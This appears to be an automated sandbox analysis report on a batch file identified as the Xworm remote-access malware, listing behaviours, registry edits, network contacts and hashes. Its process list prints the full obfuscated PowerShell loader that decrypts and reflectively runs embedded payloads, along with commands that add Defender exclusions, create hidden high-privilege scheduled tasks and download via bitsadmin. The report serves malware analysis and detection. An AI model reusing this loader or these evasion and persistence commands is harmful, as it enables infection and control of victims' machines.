Analysis Overview
SHA256
152c7242abce7287170a4025def239d75c3c294e0710f7073f6bbb25abc31c44
Threat Level: Known bad
The file Stand.Handler.bat was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Command and Scripting Interpreter: PowerShell
Drops startup file
Executes dropped EXE
Looks up external IP address via web service
Adds Run key to start application
Drops file in System32 directory
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Modifies registry class
Modifies data under HKEY_USERS
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of SetWindowsHookEx
Suspicious behavior: AddClipboardFormatListener
Download via BitsAdmin
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Creates scheduled task(s)
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-31 20:35
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-31 20:35
Reported
2024-05-31 20:36
Platform
win11-20240426-en
Max time kernel
50s
Max time network
62s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2994005945-4089876968-1367784197-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Tasks\Stand | C:\Windows\system32\svchost.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption" | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\svchost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2994005945-4089876968-1367784197-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2994005945-4089876968-1367784197-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Stand.Handler.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tX3lqGmOY/6C3S9lu7bskJOFzr7BWG83o03z91HSs3M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tcoPI+6H25yjw8y/a/hjpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $izumb=New-Object System.IO.MemoryStream(,$param_var); $eDQfo=New-Object System.IO.MemoryStream; $xllVv=New-Object System.IO.Compression.GZipStream($izumb, [IO.Compression.CompressionMode]::Decompress); $xllVv.CopyTo($eDQfo); $xllVv.Dispose(); $izumb.Dispose(); $eDQfo.Dispose(); $eDQfo.ToArray();}function execute_function($param_var,$param2_var){ $bsVjW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PVEip=$bsVjW.EntryPoint; $PVEip.Invoke($null, $param2_var);}$jENbu = 'C:\Users\Admin\AppData\Local\Temp\Stand.Handler.bat';$host.UI.RawUI.WindowTitle = $jENbu;$qAnWg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jENbu).Split([Environment]::NewLine);foreach ($DfcJO in $qAnWg) { if ($DfcJO.StartsWith('CrsuqcOEqAjCofwNVLly')) { $OceyL=$DfcJO.Substring(20); break; }}$payloads_var=[string[]]$OceyL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_137_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.bat" "
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tX3lqGmOY/6C3S9lu7bskJOFzr7BWG83o03z91HSs3M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tcoPI+6H25yjw8y/a/hjpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $izumb=New-Object System.IO.MemoryStream(,$param_var); $eDQfo=New-Object System.IO.MemoryStream; $xllVv=New-Object System.IO.Compression.GZipStream($izumb, [IO.Compression.CompressionMode]::Decompress); $xllVv.CopyTo($eDQfo); $xllVv.Dispose(); $izumb.Dispose(); $eDQfo.Dispose(); $eDQfo.ToArray();}function execute_function($param_var,$param2_var){ $bsVjW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PVEip=$bsVjW.EntryPoint; $PVEip.Invoke($null, $param2_var);}$jENbu = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.bat';$host.UI.RawUI.WindowTitle = $jENbu;$qAnWg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jENbu).Split([Environment]::NewLine);foreach ($DfcJO in $qAnWg) { if ($DfcJO.StartsWith('CrsuqcOEqAjCofwNVLly')) { $OceyL=$DfcJO.Substring(20); break; }}$payloads_var=[string[]]$OceyL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe"
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.Launchpad.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"
C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| US | 172.67.188.90:443 | stand.gg | tcp |
| US | 172.67.188.90:443 | stand.gg | tcp |
Files
memory/3736-0-0x00007FFDD02C3000-0x00007FFDD02C5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_by2gmg5s.nqg.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3736-9-0x000002536A610000-0x000002536A632000-memory.dmp
memory/3736-10-0x00007FFDD02C0000-0x00007FFDD0D82000-memory.dmp
memory/3736-11-0x00007FFDD02C0000-0x00007FFDD0D82000-memory.dmp
memory/3736-12-0x00007FFDD02C0000-0x00007FFDD0D82000-memory.dmp
memory/3736-13-0x000002536AA70000-0x000002536AAB6000-memory.dmp
memory/3736-14-0x000002536A6B0000-0x000002536A6B8000-memory.dmp
memory/3736-15-0x000002536AAC0000-0x000002536AB1C000-memory.dmp
memory/1788-25-0x00007FFDD02C0000-0x00007FFDD0D82000-memory.dmp
memory/1788-26-0x00007FFDD02C0000-0x00007FFDD0D82000-memory.dmp
memory/1788-27-0x00007FFDD02C0000-0x00007FFDD0D82000-memory.dmp
memory/1788-30-0x00007FFDD02C0000-0x00007FFDD0D82000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.vbs
| MD5 | 5d0a3f7fab3242d6131d80c40d2bc7c0 |
| SHA1 | 45f5433289437947f5f46b309a2699b555e92bc4 |
| SHA256 | 743862cf48839232e78bf61131d5853297e07dda1b61fbb78f648123ccc88a3e |
| SHA512 | d89a760c772caed5482f103f8b6284473ae8d5b60f571de1d5b31983d8dafb1f7bd3c8991bf862fa58292e627cfd1df825f7577020b5c11179e5c6eef6f7d49a |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.bat
| MD5 | b6de263fec4f04997a869ed7112b8759 |
| SHA1 | 59d43ded2302f76f602e6ea7ae1285b373300f3b |
| SHA256 | 152c7242abce7287170a4025def239d75c3c294e0710f7073f6bbb25abc31c44 |
| SHA512 | 5237ea099e1bfef0ea6daeb77a78ba45fde4facfc010fb8182568c69f9d67b6eb3bb5a74a51b54a2a89299abbc4b733f01b9ad6e2d36df857c0586a883489533 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | 3ec0d76d886b2f4b9f1e3da7ce9e2cd7 |
| SHA1 | 68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea |
| SHA256 | 214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5 |
| SHA512 | a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6 |
memory/3736-47-0x00007FFDD02C0000-0x00007FFDD0D82000-memory.dmp
memory/3288-48-0x0000000002270000-0x000000000229A000-memory.dmp
memory/1052-98-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/3288-95-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/2388-99-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/4468-107-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/1004-110-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/4352-111-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/1468-109-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/3184-108-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/3448-106-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/2260-105-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/1120-104-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/3492-103-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/1168-102-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
